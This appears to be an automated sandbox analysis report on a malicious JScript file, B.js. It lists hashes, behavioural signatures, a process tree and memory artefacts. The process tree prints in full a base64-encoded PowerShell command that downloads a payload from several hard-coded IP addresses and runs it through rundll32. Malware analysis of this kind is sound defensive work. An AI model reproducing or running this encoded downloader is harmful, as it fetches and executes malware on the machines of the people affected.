Analysis

  • max time kernel
    135s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/05/2023, 10:34

General

  • Target

    B.js

  • Size

    57KB

  • MD5

    52d96ebabe2bc08cb504f4b7b29b5f65

  • SHA1

    a609c8c0fbd4867421d65fa79834c3527cbb7690

  • SHA256

    ef023b0a3aa55f424298cb1f64a496392c61c02b8167b04feedc7cc31d123f2b

  • SHA512

    046cbcc8c80e2688432eaf1cf957388818f828642b6328fea5553adac4a25813ec875678c5c501577dc7c7288c9adbffd71195995aab18d51a76e9cff7b30c30

  • SSDEEP

    768:VyMNhRhlTosj7PJMenmwELqOttPki0P9B9VosNMaEiGHGr6kQ7Ig1KzHyyLdSmKl:fUsZnwGGkQ7A0xherXT4EANnOvwr

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\B.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3240
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\B.js" UnpiquedUnpreventative WiregrassUncrisp inthralls indiscussible
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2360
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JAB1AG4AZABlAHIAcABpAHQAYwBoAEUAeABoAGkAYgBpAHQAaQBvAG4AaQB6AGUAIAA9ACAAKAAiAGgAdAB0AHAAOgAvAC8AMQAwADQALgAyADMANAAuADEAMQA5AC4ANwA5AC8AVQBYAFkALwBxAHQAUgBHAGgAaQBVAHAANgBlADYALABoAHQAdABwADoALwAvADEAMAA0AC4AMgAzADQALgAxADEAOAAuADEANQAzAC8AZQBoAHQAdABSADMALwBBAFcAawA0AHYASAAsAGgAdAB0AHAAOgAvAC8AMQA3ADIALgA4ADYALgAxADIAMwAuADEAMAAzAC8ANQBNAEcAeQBWAC8ANwB1ADcAZQBrADYARgA2ACIAKQAuAHMAcABsAGkAdAAoACIALAAiACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAGMAaABvAGsAZQBiAGUAcgByAHkAUQB1AGUAYQBjAGgAaQBlAHIAIABpAG4AIAAkAHUAbgBkAGUAcgBwAGkAdABjAGgARQB4AGgAaQBiAGkAdABpAG8AbgBpAHoAZQApACAAewB0AHIAeQAgAHsAdwBnAGUAdAAgACQAYwBoAG8AawBlAGIAZQByAHIAeQBRAHUAZQBhAGMAaABpAGUAcgAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwAgADEANgAgAC0ATwAgACQAZQBuAHYAOgBUAEUATQBQAFwAQgBpAHMAYQBnAHIAZQAuAGQAaQBzAHAAbABhAGMAZQByAFAAaAB5AGwAbABvAHAAbwBkAG8AdQBzADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZQBuAHYAOgBUAEUATQBQAFwAQgBpAHMAYQBnAHIAZQAuAGQAaQBzAHAAbABhAGMAZQByAFAAaAB5AGwAbABvAHAAbwBkAG8AdQBzACkALgBsAGUAbgBnAHQAaAAgAC0AZwBlACAANQAwADAAMAAwACkAIAB7AHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAbgBjAG8AZABlAGQAYwBvAG0AbQBhAG4AZAAgACIAYwB3AEIAMABBAEcARQBBAGMAZwBCADAAQQBDAEEAQQBjAGcAQgAxAEEARwA0AEEAWgBBAEIAcwBBAEcAdwBBAE0AdwBBAHkAQQBDAEEAQQBKAEEAQgBsAEEARwA0AEEAZABnAEEANgBBAEYAUQBBAFIAUQBCAE4AQQBGAEEAQQBYAEEAQgBDAEEARwBrAEEAYwB3AEIAaABBAEcAYwBBAGMAZwBCAGwAQQBDADQAQQBaAEEAQgBwAEEASABNAEEAYwBBAEIAcwBBAEcARQBBAFkAdwBCAGwAQQBIAEkAQQBVAEEAQgBvAEEASABrAEEAYgBBAEIAcwBBAEcAOABBAGMAQQBCAHYAQQBHAFEAQQBiAHcAQgAxAEEASABNAEEATABBAEIAVQBBAEcAawBBAGIAUQBCAGwAQQBEAHMAQQAiADsAYgByAGUAYQBrADsAfQB9AGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMgA7AH0AfQA="
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1936

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nk3kmzat.edd.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1936-139-0x000002207DFB0000-0x000002207DFD2000-memory.dmp

    Filesize

    136KB

  • memory/1936-143-0x00000220183E0000-0x00000220183F0000-memory.dmp

    Filesize

    64KB

  • memory/1936-144-0x00000220183E0000-0x00000220183F0000-memory.dmp

    Filesize

    64KB